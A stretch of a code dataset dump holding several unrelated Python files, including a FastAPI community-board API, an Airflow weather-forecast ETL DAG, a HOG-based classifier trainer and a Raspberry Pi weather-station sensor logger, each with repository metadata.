\"dislike\"\n\n\n\"\"\"\n 게시판 관련\n\"\"\"\n# 모든 게시판 불러오기\n@board.get(\"/\", response_model=list[schemas.Board_OUT])\nasync def get_boards_api(session: Session = Depends(db.session)):\n boards = c.get_boards(session)\n return boards\n\n\n# 베스트 게시판 들어가기\n@board.get(\"/best\", response_model=schemas.Best_OUT)\nasync def get_best_list_api(page: int = 0, size: int = get_env().PAGING_LIMIT, session: Session = Depends(db.session)):\n _best_list = session.query(Best).filter_by(is_status=True).order_by(Best.created_at.desc())\n \n total = _best_list.count()\n posts = _best_list.offset(page*size).limit(size).all()\n\n return {\n \"total\": total,\n \"posts\": posts\n }\n\n\n\"\"\"\n 연재 관련\n\"\"\"\n# 연재 가지고 오기\n@board.get(\"/series/lists\", response_model=schemas.Series_OUT)\nasync def get_series_list_api(page: int = 0, size: int = get_env().PAGING_LIMIT, session: Session = Depends(db.session)):\n _series_list = session.query(Series).filter_by(is_shown=True, is_status=True).order_by(Series.created_at.desc())\n\n total = _series_list.count()\n series_list = _series_list.offset(page*size).limit(size).all()\n\n return {\n \"total\": total,\n \"series_list\": series_list\n }\n\n\n# 시리즈 불러오기 - 자기 자신이 불러올대랑 다른 사람이 불러올때랑 다르다.\n@board.get(\"/series/{series_id}\", response_model=schemas.SeriesDetail_OUT)\nasync def get_series_api(request: Request, series_id: int, page: int = 0, size: int = get_env().PAGING_LIMIT, session: Session = Depends(db.session)):\n current_user = request.state.user\n if current_user:\n series = c.get_series(session, series_id, user_id=current_user.id)\n else:\n series = c.get_series(session, series_id, is_shown=True, is_status=True)\n if not series:\n raise HTTPException(status_code=404, detail=\"존재하지 않는 연재입니다.\")\n \n posts = series.posts\n val = jsonable_encoder(series)\n val[\"writer\"] = series.writer\n val[\"total\"] = len(posts)\n val[\"posts\"] = posts[page*size:(page+1)*size]\n return val\n\n\n# 등록 - request 필요\n@board.post(\"/series/write\", response_model=list[schemas.Series_OUT])\nasync def create_series_api(request: Request, d: schemas.Series_IN, user_id: int, session: Session = Depends(db.session)):\n # req = ut.check_valid_request(request)\n\n user = c.get_user(session, user_id)\n\n for series in user.series_list:\n if d.name == series.name:\n raise HTTPException(status_code=404, detail=\"유저가 이전에 만든 연재 이름과 같습니다.\")\n u = Series(name=d.name, user_id=user.id)\n session.add(u)\n session.commit()\n\n return user.series_list\n\n\n# 삭제 - request 필요\n@board.delete(\"/series/delete/{series_id}\", response_model=schemas.StatusCode)\nasync def delete_series_api(request: Request, series_id: int, user_id: int, session: Session = Depends(db.session)):\n # req = ut.check_valid_request(request)\n\n series = c.get_series(session, series_id, user_id=user_id)\n\n if not series:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"읎엄\")\n if series.posts:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"시리즈에 연재 되어있는 게시글을 연동 해제 하셔야 합니다.\")\n session.delete(series)\n session.commit()\n\n return {\n \"status_code\": status.HTTP_200_OK\n }\n\n\n# 수정 - request 필요\n@board.patch(\"/series/update/{series_id}\", response_model=schemas.StatusCode)\nasync def update_series_api(request: Request, d: schemas.SeriesUpdate_IN, series_id: int, user_id: int, session: Session = Depends(db.session)):\n # req = ut.check_valid_request(request)\n\n series = c.get_series(session, series_id, user_id=user_id)\n\n if not series:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"읎엄\")\n \n series.name = d.name\n series.is_shown = d.is_shown\n session.add(series)\n session.commit()\n\n return {\n \"status_code\": status.HTTP_200_OK\n }\n\n\n# 유저의 시리즈 불러오기 - 자기 자신이 불러올때는 다 불러오고, 다른 유저가 불러올때는 공개 된것만 불러온다.\n@board.get(\"/user_series/{user_id}\", response_model=list[schemas.Series_OUT])\nasync def get_user_series_list_api(request: Request, user_id: int, session: Session = Depends(db.session)):\n # req = ut.check_valid_request(request)\n # if (req.user.id == user_id):\n # lists = c.get_user_series_list(session, user_id)\n # else:\n lists = c.get_user_series_list(session, user_id, is_shown=True)\n return lists\n\n\n\"\"\"\n post 관련\n\"\"\"\n# 일반 게시판 들어가기\n@board.get(\"/{board_name}\", response_model=schemas.Posts_OUT)\nasync def get_posts_api(board_name: str, page: int = 0, size: int = get_env().PAGING_LIMIT, session: Session = Depends(db.session)): \n board = c.get_board(session, board_name)\n if not board:\n raise HTTPException(status_code=404, detail=\"존재하지 않는 게시판입니다.\")\n elif not board.is_status:\n raise HTTPException(status_code=404, detail=\"삭제된 게시판입니다.\")\n \n _posts_list = session.query(Post).filter_by(is_status=True).order_by(Post.created_at.desc())\n total = _posts_list.count()\n posts = _posts_list.offset(page*size).limit(size).all()\n\n return {\n \"total\": total, \n \"posts\": posts\n }\n\n\n# 상세 페이지 ㅇ \n@board.get(\"/post/{post_id}\", response_model=schemas.PostDetail_OUT)\nasync def get_post_api(post_id: int, session: Session = Depends(db.session)):\n post = c.get_post(session, post_id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못찾았음\")\n\n post_dict = jsonable_encoder(post)\n post_dict[\"writer\"] = post.writer\n post_dict[\"board\"] = post.board\n post_dict[\"series\"] = post.series\n post_dict[\"series_list\"] = post.series.posts if post.series else []\n \n return post_dict\n\n\n# 등록 ㅇ\n@board.post(\"/post/write\", response_model=schemas.StatusCode)\nasync def create_post_api(request: Request, d: schemas.Post_IN, session: Session = Depends(db.session)):\n req = ut.check_valid_request(request)\n \n board = c.get_board(session, d.board_name)\n if not board:\n raise HTTPException(status_code=404, detail=\"존재하지 않는 게시판입니다.\")\n u = Post(title=d.title, body=d.body, user_id=req.user.id, series_id=d.series_id, board_id=board.id)\n session.add(u)\n session.commit()\n\n return {\n \"status_code\": status.HTTP_200_OK\n }\n\n\n# 삭제\n@board.delete(\"/post/delete/{post_id}\", response_model=schemas.StatusCode)\nasync def delete_post_api(request: Request, post_id: int, session: Session = Depends(db.session)):\n req = ut.check_valid_request(request)\n \n post = c.get_post(session, post_id, user_id=req.user.id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못찾았음\")\n\n session.delete(post)\n session.commit()\n\n return {\n \"status_code\": status.HTTP_200_OK\n }\n\n\n# 수정\n@board.patch(\"/post/update/{post_id}\", response_model=schemas.StatusCode)\nasync def update_post_api(request: Request, d: schemas.Post_IN, post_id: int, session: Session = Depends(db.session)):\n req = ut.check_valid_request(request)\n\n post = c.get_post(session, post_id, user_id=req.user.id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못찾았음\")\n if post.title == d.title and post.body == d.body and post.series_id == d.series_id:\n raise HTTPException(status_code=status.HTTP_406_NOT_ACCEPTABLE, detail=\"내용이 변한게 없습니다.\")\n\n post.title = d.title\n post.body = d.body\n post.series_id = d.series_id\n post.updated_at = datetime.now()\n\n session.add(post)\n session.commit()\n\n return {\n \"status_code\": status.HTTP_200_OK\n }\n\n\n# 좋아요, 싫어요\n@board.post(\"/recommend/{post_id}/{like_sort}\")\nasync def recommend_post_api(request: Request, post_id: int, like_sort: RecommendType, session: Session = Depends(db.session)):\n req = ut.check_valid_request(request)\n \n post = c.get_post(session, post_id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못찾았음\")\n if post.user_id == req.user.id:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"본인 게시물에는 추천을 할 수 없습니다.\")\n\n like_status = True if like_sort == \"like\" else False\n is_recommend = c.get_recommend(session, post_id, req.user.id)\n\n if is_recommend:\n exist_comment = True\n if is_recommend.is_recommend == like_status:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"이미 선택한 상태입니다.\")\n else:\n is_recommend.is_recommend = like_status\n is_recommend.updated_at = datetime.now()\n session.add(is_recommend)\n else:\n exist_comment = False\n u = Recommend(post_id=post.id, user_id=req.user.id, is_recommend=like_status)\n session.add(u)\n session.commit()\n \n if like_status:\n post = b_ut.post_up(post, exist_comment)\n else:\n post = b_ut.post_down(post, exist_comment)\n session.add(post)\n session.commit()\n\n # 해당 post 가 series 에 연결되어있다면 해당 series 의 좋아요도 다시 합산해서 적용한다.\n if post.series:\n series = post.series\n series.recommend_count = sum(post.recommend_count for post in series.posts)\n session.add(series)\n session.commit()\n\n # 좋아요를 확인해서 베스트로 보낼지 말지 결정한다.\n if not post.best and post.recommend_count >= get_env().MIN_CONDITION_BEST:\n u = Best(post_id=post.id)\n session.add(u)\n session.commit()\n elif post.best and post.best.is_status and post.recommend_count < get_env().MIN_CONDITION_BEST:\n # best = c.get_best_post(session, post_id=post.id)\n post.best.is_status = False\n session.add(post.best)\n session.commit()\n return {\n \"status_code\": status.HTTP_200_OK\n }\n \n \n\n\"\"\"\n 댓글 관련\n\"\"\"\n# 불러오기\n@board.get(\"/{post_id}/comments\", status_code=status.HTTP_200_OK, response_model=schemas.Comments_OUT)\nasync def get_comments_api(post_id: int, page: int = 0, size: int = get_env().PAGING_LIMIT, session: Session = Depends(db.session)):\n post = c.get_post(session, post_id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못찾았음\")\n \n comments = b_ut.comments_sort(post.comments, page, size)\n\n return {\n \"comments\": comments, \n \"total\": post.comment_count\n }\n\n\n# 등록\n@board.post(\"/{post_id}/write_comment\", status_code=status.HTTP_201_CREATED, response_model=schemas.CommentNowPage_OUT)\nasync def create_comment_api(request: Request, post_id: int, d: schemas.Comments_IN, session: Session = Depends(db.session)):\n req = ut.check_valid_request(request)\n\n post = c.get_post(session, post_id, user_id=req.user.id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못찾았음\")\n \n if d.parent_id:\n parent_comment = c.get_comment(session, d.parent_id, post_id=post_id, is_status=True, is_delete=False)\n comment_by_user = c.get_user(session, d.comment_by_user_id)\n if not parent_comment or not comment_by_user:\n raise HTTPException(status_code=404, detail=\"오류가 발생하였습니다. 다시 한번 댓글을 입력해 주시기 바랍니다.\")\n \n u = Comment(content=d.content.strip(), user_id=req.user.id, post_id=post.id, parent_id=d.parent_id, comment_by_user_id=d.comment_by_user_id)\n session.add(u)\n session.commit()\n\n post.comment_count += 1\n session.add(post)\n session.commit()\n page = b_ut.comments_sort(post.comments, created_comment_id=u.id)\n\n return {\"page\": page}\n\n\n# 삭제\n@board.delete(\"/{post_id}/delete_comment/{comment_id}\", response_model=schemas.StatusCode)\nasync def delete_comment_api(request: Request, post_id: int, comment_id: int, session: Session = Depends(db.session)):\n req = ut.check_valid_request(request)\n\n post = c.get_post(session, post_id, user_id=req.user.id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못���았음\")\n \n comment = c.get_comment(session, comment_id, user_id=req.user.id, post_id=post.id)\n if not comment:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못 찾았음\")\n if comment.children:\n comment.is_delete = True\n session.add(comment)\n session.commit()\n else:\n comment.post.comment_count -= 1\n session.add(comment.post)\n session.commit()\n \n session.delete(comment)\n session.commit()\n\n return {\n \"status_code\": status.HTTP_200_OK\n }\n\n\n# 수정 \n@board.patch(\"/{post_id}/update_comment/{comment_id}\", response_model=schemas.StatusCode)\nasync def update_comment_api(request: Request, post_id: int, comment_id: int, d: schemas.CommentUpdate_IN, session: Session = Depends(db.session)):\n req = ut.check_valid_request(request)\n \n post = c.get_post(session, post_id, user_id=req.user.id)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못찾았음\")\n \n comment = c.get_comment(session, comment_id, user_id=req.user.id, post_id=post.id)\n if not comment:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"못 찾았음\")\n if comment.content == d.content.strip():\n raise HTTPException(status_code=status.HTTP_406_NOT_ACCEPTABLE, detail=\"내용이 변한게 없습니다.\")\n \n comment.content = d.content\n comment.updated_at = datetime.now()\n session.add(comment)\n session.commit()\n\n return {\"status_code\": status.HTTP_200_OK}\n","repo_name":"ionman91/jjoontopia-test00","sub_path":"app/api/board/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":15486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26658003849","text":"from functools import reduce\nimport tensorflow as tf\nfrom operator import mul\nfrom tensorflow.python.util import nest\n\nVERY_NEGATIVE_NUMBER = -1e30\n\n\ndef flatten(tensor, keep):\n fixed_shape = tensor.get_shape().as_list()\n start = len(fixed_shape) - keep\n left = reduce(mul, [fixed_shape[i] or tf.shape(tensor)[i] for i in range(start)])\n out_shape = [left] + [fixed_shape[i] or tf.shape(tensor)[i] for i in range(start, len(fixed_shape))]\n flat = tf.reshape(tensor, out_shape)\n return flat\n\ndef reconstruct(tensor, ref, keep):\n ref_shape = ref.get_shape().as_list()\n tensor_shape = tensor.get_shape().as_list()\n ref_stop = len(ref_shape) - keep\n tensor_start = len(tensor_shape) - keep\n pre_shape = [ref_shape[i] or tf.shape(ref)[i] for i in range(ref_stop)]\n keep_shape = [tensor_shape[i] or tf.shape(tensor)[i] for i in range(tensor_start, len(tensor_shape))]\n target_shape = pre_shape + keep_shape\n out = tf.reshape(tensor, target_shape)\n return out\n\ndef exp_mask(val, mask, name=None):\n if name is None:\n name = 'exp_mask'\n return tf.add(val, (1 - tf.cast(mask, 'float'))*VERY_NEGATIVE_NUMBER, name=name)\n","repo_name":"Bolin0215/tf-sekelab","sub_path":"tf/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73244792836","text":"# WG Created: 20/1/22 Modified: 24/1/22\n# IA Lent term computing module task 1C\n\nfrom floodsystem.stationdata import build_station_list\nfrom floodsystem.geo import stations_within_radius\n\ndef run():\n \"\"\"Requirements for Task 1C\"\"\"\n\n # Build list of stations\n stations = build_station_list()\n\n centre = (52.2053, 0.1218)\n r = 10 # in km\n sorted_stations = stations_within_radius(stations, centre, r)\n\n names = []\n for station in sorted_stations:\n names.append(station.name)\n names.sort()\n print(names)\n \n\n \n\nif __name__ == \"__main__\":\n print(\"*** Task 1C: CUED Part IA Flood Warning System ***\")\n run()\n","repo_name":"Will-wjh46/Flood-Warning-System","sub_path":"Task1C.py","file_name":"Task1C.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7801251872","text":"from enum import IntEnum\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nfrom sys import argv\nfrom util import get_groups, r\n\n\n# usage: \n# python basis_nearest.py CL 90 180 dte abs\n# python basis_nearest.py HO 0 252 date pct\n# python basis_nearest.py RB 0 55 date pct\n\n\nclass ts_rec(IntEnum):\n\n date = 0\n dte = 1\n settle = 2\n spot = 3\n basis = 4\n basis_norm = 5\n text = 6\n\n\ndef report(\n symbol: str,\n min_dte: int,\n max_dte: int,\n x_mode: str,\n y_mode: str,\n):\n\n series = {}\n hist = []\n\n groups = get_groups(symbol)\n\n for group in groups:\n\n for i in range(len(group)):\n\n row = group[i]\n\n date = row[r.date]\n year = row[r.year]\n month = row[r.month]\n settle = row[r.settle]\n dte = row[r.dte]\n spot = row[r.spot]\n\n if dte < min_dte or dte >= max_dte:\n\n continue\n\n id = ( symbol, month, str(year) )\n key = i\n\n if key not in series:\n\n series[key] = []\n\n basis = spot - settle\n basis_norm = (spot / settle - 1) * 100\n text = f\"date: {date}
dte: {dte}
spot: {spot}
basis: {basis: 0.4f}
{' '.join(id)}\"\n\n if y_mode == \"pct\":\n\n text = f\"date: {date}
dte: {dte}
{spot}
basis: {basis_norm: 0.1f}%
{' '.join(id)}\"\n\n hist.append(basis_norm)\n \n else:\n\n hist.append(basis)\n\n rec = ( \n date,\n dte,\n settle,\n spot,\n basis,\n basis_norm,\n text\n )\n \n series[key].append(rec)\n\n # plot results\n\n fig = make_subplots(rows = 1, cols = 2)\n \n fig.update_layout(title = symbol)\n\n for key, ts in series.items():\n\n x = [ rec[ts_rec.dte] for rec in ts ]\n y = [ rec[ts_rec.basis] for rec in ts ]\n\n if x_mode == \"date\":\n\n x = [ rec[ts_rec.date] for rec in ts]\n\n if y_mode == \"pct\":\n\n y = [ rec[ts_rec.basis_norm] for rec in ts ]\n\n fig.add_trace(\n go.Scatter(\n {\n \"x\": x,\n \"y\": y,\n \"text\": [ rec[ts_rec.text] for rec in ts ],\n \"name\": f\"{symbol} {key}\"\n }\n ),\n row = 1,\n col = 1\n )\n\n fig.add_trace(\n go.Histogram(\n { \n \"x\": hist,\n \"name\": \"basis %\" if y_mode == \"pct\" else \"basis\"\n }\n ),\n row = 1,\n col = 2\n )\n\n fig.show()\n\n\nif __name__ == \"__main__\":\n\n symbol = argv[1]\n min_dte = int(argv[2])\n max_dte = int(argv[3])\n x_mode = argv[4] # \"date\" for x axis == date, any other value for x axis == dte\n y_mode = argv[5] # \"abs\" for points, or \"pct\" for %\n\n report(symbol, min_dte, max_dte, x_mode, y_mode)","repo_name":"toobrien/term_reports","sub_path":"basis_nearest.py","file_name":"basis_nearest.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69809272838","text":"from airflow import DAG\nfrom airflow.operators.python import PythonOperator\nfrom airflow.models import Variable\nfrom airflow.hooks.postgres_hook import PostgresHook\n\nfrom datetime import datetime\nfrom datetime import timedelta\n\n# from plugins import slack\n\nimport requests\nimport logging\nimport psycopg2\n\n\n\"\"\" weather_forcast Table 미리 생성\n DROP TABLE IF EXISTS jihoju96.weather_forecast;\n CREATE TABLE jihoju96.weather_forecast (\n date date primary key,\n temp float,\n min_temp float,\n max_temp float,\n created_date timestamp default GETDATE()\n );\n\"\"\"\n\ndef get_Redshift_connection(autocommit=False):\n hook = PostgresHook(postgres_conn_id=\"redshift_dev_db\")\n conn = hook.get_conn()\n conn.autocommit = autocommit\n return conn.cursor()\n\n\ndef extract(**context):\n # 서울 위도/경도\n lat = 37.5665\n lon = 126.9780\n\n link = \"{url}&lat={lat}&lon={lon}&appid={api_key}\".format(\n url=context[\"params\"][\"url\"], lat=lat, lon=lon, api_key=context[\"params\"][\"api_key\"]\n )\n task_instance = context[\"task_instance\"]\n execution_date = context[\"execution_date\"]\n\n logging.info(execution_date)\n f = requests.get(link) # 읽어와야할 api 수가 많다면 멀티스래딩 방식이 좋을 거 같다.\n \n return (f.json())\n\n\ndef transform(**context):\n weather_infos = []\n f_js = context[\"task_instance\"].xcom_pull(key=\"return_value\", task_ids=\"extract\")\n \n for d in f_js[\"daily\"]:\n day = datetime.fromtimestamp(d[\"dt\"]).strftime(\"%Y-%m-%d\")\n weather_infos.append([\n day,\n d[\"temp\"][\"day\"],\n d[\"temp\"][\"min\"],\n d[\"temp\"][\"max\"],\n ])\n\n return weather_infos\n\n\ndef load(**context):\n schema = context[\"params\"][\"schema\"]\n table = context[\"params\"][\"table\"]\n\n cur = get_Redshift_connection()\n weather_infos = context[\"task_instance\"].xcom_pull(\n key=\"return_value\", task_ids=\"transform\"\n )\n\n # PostgresHook의 autocommit=False 이기에 BEGIN을 안써도 무방하다.\n # sql = \"BEGIN; DELETE FROM {schema}.{table};\".format(schema=schema, table=table) \n sql = \"DELETE FROM {schema}.{table};\".format(schema=schema, table=table)\n\n # 한번에 sql 문 작성 -> transform 에서 return 값이 ('va1', 'va2'..) 의 리스트 형태여야 한다.\n # sql = \"\"\"DELETE FROM {schema}.{table};INSERT INTO {schema}.{table} VALUES \"\"\" + \",\".join(weather_infos)\n\n # For Loop 사용 sql 문 작성\n for date, temp, min_temp, max_temp in weather_infos:\n print(\"날짜:\", date, \"평균 온도:\", temp, \"최저 온도:\", min_temp, \"최고 온도:\", max_temp)\n sql += f\"\"\"INSERT INTO {schema}.{table} VALUES ('{date}', '{temp}', '{min_temp}', '{max_temp}');\"\"\"\n\n try:\n cur.execute(sql)\n cur.execute(\"COMMIT;\")\n logging.info(sql)\n except (Exception) as error:\n print(error)\n cur.execute(\"ROLLBACK;\")\n\n\ndag_second_assignment = DAG(\n dag_id=\"second_assignment_weather_api\",\n start_date=datetime(2022, 10, 12),\n schedule_interval=\"0 2 * * *\", \n max_active_runs=1,\n catchup=False,\n default_args={\n \"retries\": 1,\n \"retry_delay\": timedelta(minutes=3),\n # 'on_failure_callback': slack.on_failure_callback,\n },\n)\n\n\nextract = PythonOperator(\n task_id=\"extract\",\n python_callable=extract,\n params={\n \"url\": Variable.get(\"weather_api_url\"),\n \"api_key\": Variable.get(\"weather_api_key\"),\n },\n dag=dag_second_assignment,\n)\n\ntransform = PythonOperator(\n task_id=\"transform\", \n python_callable=transform, \n params={\n }, \n dag=dag_second_assignment\n)\n\nload = PythonOperator(\n task_id=\"load\",\n python_callable=load,\n params={\n \"schema\": \"jihoju96\", \n \"table\": \"weather_forecast\"\n },\n dag=dag_second_assignment,\n)\n\nextract >> transform >> load\n","repo_name":"JihoJu/data-engineering-study","sub_path":"[10기] 데이터 엔지니어링 스타터 키트/assignment/4주차/WeatherCSVtoRedshift.py","file_name":"WeatherCSVtoRedshift.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19196307067","text":"import cv2 as cv\nimport numpy as np\nimport os, glob\nfrom sklearn import svm, neighbors, tree , ensemble, naive_bayes \nimport pickle\nfrom BottleCapDetector.Helpers.Helper import ClusterImage\nfrom sklearn.metrics import confusion_matrix\nimport pandas as pd\n\n# https://stackoverflow.com/a/31042366\nwinSize = (32,32)\nblockSize = (16,16)\nblockStride = (8,8)\ncellSize = (8,8)\nnbins = 9\nderivAperture = 1\nwinSigma = 4.\nhistogramNormType = 0\nL2HysThreshold = 2.0000000000000001e-01\ngammaCorrection = 0\nnlevels = 64\nhog = cv.HOGDescriptor(winSize,\n blockSize,\n blockStride,\n cellSize,\n nbins,\n derivAperture,\n winSigma,\n histogramNormType,\n L2HysThreshold,\n gammaCorrection,\n nlevels)\n\nwinStride = (8,8)\npadding = (8,8)\nlocations = ((10,20),)\n\nclass Hog_Model_Trainer:\n def __init__(self, features_directory, model_output_directory='./Models'):\n self.features_directory = features_directory\n self.model_output_directory = model_output_directory\n\n def TrainMoodel(self):\n image_feature_data, image_label_data = self.GetDataAndLabels(self.features_directory)\n data_quantity = image_feature_data.shape[0]\n\n random_index_array = np.arange(data_quantity)\n np.random.shuffle(random_index_array)\n\n image_feature_data = image_feature_data[random_index_array]\n image_label_data = image_label_data[random_index_array]\n\n train_ratio = 0.8\n slice_point = int(np.floor(data_quantity*train_ratio))\n train_x = image_feature_data[0:slice_point]\n train_y = image_label_data[0:slice_point]\n test_x = image_feature_data[slice_point:]\n test_y = image_label_data[slice_point:]\n \n train_x = self.reshapeDataset(train_x)\n test_x = self.reshapeDataset(test_x)\n\n models = {}\n models['svm_linear'] = svm.SVC(kernel='linear', C=2, decision_function_shape='ovo').fit(train_x, train_y)\n models['svm_rbf'] = svm.SVC(kernel='rbf', gamma=1, C=1, decision_function_shape='ovo').fit(train_x, train_y)\n models['svm_poly'] = svm.SVC(kernel='poly', degree=3, C=1, decision_function_shape='ovo').fit(train_x, train_y)\n models['svm_sigmoid'] = svm.SVC(kernel='sigmoid', C=1, decision_function_shape='ovo').fit(train_x, train_y)\n models['knn'] = neighbors.KNeighborsClassifier(7).fit(train_x, train_y)\n models['Descision_Tree'] = tree.DecisionTreeClassifier().fit(train_x, train_y)\n models['AdaBoost'] = ensemble.AdaBoostClassifier().fit(train_x, train_y)\n models['Random_Forest'] = ensemble.RandomForestClassifier().fit(train_x, train_y)\n models['Naive_Bayes'] = naive_bayes.MultinomialNB().fit(train_x, train_y)\n\n accuracies = {}\n for key,value in models.items():\n accuracies[key] = value.score(test_x, test_y)\n # print(value.classes_)\n filename = key + '.sav'\n pickle.dump(value, open(os.path.join(self.model_output_directory,filename), 'wb'))\n\n for key, value in accuracies.items():\n print('Accuracy for {kernal} is {acc}'.format(kernal = key, acc = value))\n\n\n pred_y = models['svm_poly'].predict(test_x)\n self.PrintConfusionMatrix(test_y, pred_y)\n\n def PrintConfusionMatrix(self, actual_y, predicted_y):\n # https://stackoverflow.com/a/29877565\n # print(confusion_matrix(actual_y, predicted_y))\n df_confusion = pd.crosstab(actual_y, predicted_y, rownames=['Actual'], colnames=['Predicted'], margins=True)\n print(df_confusion)\n\n\n def reshapeDataset(self, ds):\n # return ds\n nsamples, nx, ny = ds.shape\n return ds.reshape((nsamples,nx*ny))\n\n def GetDataAndLabels(self, feature_directory):\n image_feature_data = []\n image_label_data = []\n for feature_folder_name in os.listdir(feature_directory):\n files = glob.glob(os.path.join(feature_directory, feature_folder_name, '*.png'))\n\n for file in files:\n image = cv.imread(file)\n if image.shape[0] < winSize[0] or image.shape[1] < winSize[1]:\n # print('Incorrect size of file : ' + str(file) + '. Size is : ' + str(image.shape) + '. Expected size is atleast : ' + str(winSize))\n continue\n \n # histogram = hog.compute(image)\n # image = ClusterImage(image, 2)\n histogram = hog.compute(image,winStride,padding,locations)\n\n image_feature_data.append(histogram)\n image_label_data.append(feature_folder_name)\n\n return np.array(image_feature_data), np.array(image_label_data)\n","repo_name":"umerkhan-mas/BottleCapDetector","sub_path":"BottleCapDetector/HOG/Hog_Trainer.py","file_name":"Hog_Trainer.py","file_ext":"py","file_size_in_byte":4848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42371576975","text":"import os, sys\nfrom ROOT import TFile\nfile17=sys.argv[1]\nfile16=sys.argv[2]\ntfile17 = TFile.Open(str(file17),'r')\ntfile16 = TFile.Open(str(file16), 'update')\nbool_check = False\n\nmissing_hist = ['_DMSimp_MPhi10_MChi1', '_DMSimp_MPhi150_MChi1', '_DMSimp_MPhi250_MChi1', '_DMSimp_MPhi450_MChi1',\n '_DMSimp_MPhi700_MChi1', '_2HDMa_Ma100_MChi1_MA1200', '_2HDMa_Ma100_MChi1_MA600', '_2HDMa_Ma300_MChi1_MA1200']\nfor h in tfile17.GetListOfKeys():\n h = h.ReadObj()\n if any([bool(mh in h.GetName()) for mh in missing_hist]):\n h1 = h.Clone(str(h.GetName()))\n h1.SetName(str(h.GetName()).replace('2017', '2016'))\n h1.SetTitle(str(h.GetName()).replace('2017', '2016'))\n h1.Scale(35.82/41.5)\n tfile16.cd()\n h1.Write()\n\ntfile17.Close()\ntfile16.Close()\n","repo_name":"tiwariPC/AllMETHistoMaker","sub_path":"addMissingHisto.py","file_name":"addMissingHisto.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31654778380","text":"# Print python version for debugging\nimport sys\nprint(sys.version)\nprint(sys.path)\n\nimport os\nimport glob\nimport time\nfrom datetime import datetime\n\nfrom influxdb import InfluxDBClient\nfrom influxdb.exceptions import InfluxDBServerError\nimport board\nimport adafruit_dht\nimport Adafruit_BMP.BMP085 as BMP085\n\n### Initialize db connection\n# Connect to local db\nclient = InfluxDBClient(host='localhost', port=8086)\n# Create db if not exist\nclient.create_database('weather_station')\n# Print list of dbs\nprint(client.get_list_database())\n# Connect to 'eather_station' db\nclient.switch_database('weather_station')\n\n\n### Initialize sensors\n\n## 1. Initialize DS18B20 Temp sensor\n# GPIO pins\n# Assumes /boot/config.txt already has line dtoverlay=w1-gpio\nos.system('modprobe w1-gpio') # Turns on the GPIO module\nos.system('modprobe w1-therm') # Turns on the Temperature module\n\n# Finds the correct device file that holds the temperature data\nbase_dir = \"/sys/bus/w1/devices/\"\ndevice_folder = glob.glob(base_dir + \"28*\")[0]\ndevice_file = device_folder + \"/w1_slave\"\nprint(f\"base_dir: {base_dir}\")\nprint(f\"device_folder: {device_folder}\")\nprint(f\"device_file: {device_file}\")\n\n## 2. Initialize DHT11 Humidity sensor on GPIO24\ndhtDevice = adafruit_dht.DHT11(board.D24)\n\n## 3. Initialize BBMP180 sensor\nbmp180_sensor = BMP085.BMP085()\n\n\n### Sensor read functions\ndef read_temp_raw(device_file):\n with open(device_file, 'r') as f:\n return f.readlines()\n\n\ndef read_temp_ds18b20(device_file, wait_interval=0.1):\n \"\"\"Convert the value of the sensor into temp\"\"\"\n lines = read_temp_raw(device_file)\n # While the first line does not contain 'YES', wait for 0.2s\n # and then read the device file again\n while lines[0].strip()[-3:] != 'YES':\n time.sleep(wait_interval)\n lines = read_temp_raw(device_file)\n\n # Look for position of the '=' in the second line\n equals_pos = lines[1].find('t=')\n\n # If the '=' is found, convert the rest of the line into Celcius\n if equals_pos != -1:\n temp_str = lines[1][equals_pos+2:]\n temp_c = float(temp_str) / 1000.0\n return temp_c\n\n\ndef read_dht11():\n try:\n temperature_c = dhtDevice.temperature\n humidity = dhtDevice.humidity\n return humidity, temperature_c\n except Exception as e:\n print(e)\n return None, None\n\n\ndef read_bmp180():\n try:\n temp_c = bmp180_sensor.read_temperature()\n pressure = bmp180_sensor.read_pressure()\n altitude = bmp180_sensor.read_altitude()\n sealevel_pressure = bmp180_sensor.read_sealevel_pressure()\n return temp_c, pressure, altitude, sealevel_pressure\n except Exception as e:\n print(\"Exception occured in read_BMP180()\")\n print(e)\n return None, None, None, None\n\n\n### Run infinite loop\nwhile True:\n # Get current datetime\n current_time = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n # Read and store temp ds18b20 sensor value\n ds18b20_temp = read_temp_ds18b20(device_file)\n # Read DHT11 humidity and temp\n dht11_hum, dht11_temp = read_dht11()\n # Read BMP180 pressure et al\n bmp180_temp, bmp180_pressure, 